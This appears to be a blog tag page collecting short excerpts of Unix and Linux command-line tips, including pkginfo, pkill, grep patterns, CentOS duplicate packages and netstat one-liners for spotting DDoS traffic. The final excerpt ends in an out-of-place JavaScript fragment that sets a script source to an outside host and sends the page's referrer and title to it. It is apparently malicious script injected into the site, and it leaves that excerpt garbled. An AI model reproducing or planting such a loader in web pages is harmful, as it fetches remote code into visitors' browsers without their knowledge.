Tag: grep

Solaris > Finding more information about packages

How to find what packages (software’s) installed? 1)Run the command pkginfo to find the information: # pkginfo | more 2) Note that packages provided by SUN always have prefix SUNWpkgname 3 To find more about SSH Software’s: # pkginfo | grep “SSH” 4) To print all available information about package […]

How to Kill a Process by Process Name from Ubuntu Command Line

There are a number of ways to kill a process if you know the name of the process. Here’s a couple different ways you can accomplish this. We are going to assume that the process we are trying to kill is named irssi   kill $(pgrep irssi) killall -v irssi pkill […]

Bash Shell Count Number of Characters In a String or Word

How do I count and print particular character (say D or digit 7) in a string or variable under Bash UNIX / Linux shell? You can use UNIX / Linux command such as sed, grep, wc or bash shell itself to count number of characters in a string or word […]

Search Multiple Words / String Pattern Using grep Command

Q. How do I search multiple string using grep command? For example I’d like to search word1, word2, word3 and so on within /path/to/file. How do I force grep to search multiple words? A. grep command supports regular expression pattern   Grep command example To search multiple words, use following […]

Remove Duplicate Packages in CentOS

I got a package dependency issue when updating our 64-bit CentOS server, which was caused by two perl packages installed (i386 and x86_64). perl i386 4:5.8.8-32.el5_5.1 installed 28 M perl x86_64 4:5.8.8-32.el5_5.1 installed 34 M I tried to remove it using rpm command but didn’t work (maybe i just don’t […]

To find ddos attack

netstat -an |grep 80 netstat -plan|grep :80|awk {’print $5′}|cut -d: -f 1|sort|uniq -c|sort -nk 1 netstat -plan|grep :25|awk {’print $5′}|cut -d: -f 1|sort|uniq -c|sort -nk 1 watch -n 5 ‘w; ls -alS /usr/local/apache/domlogs/ ‘ s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;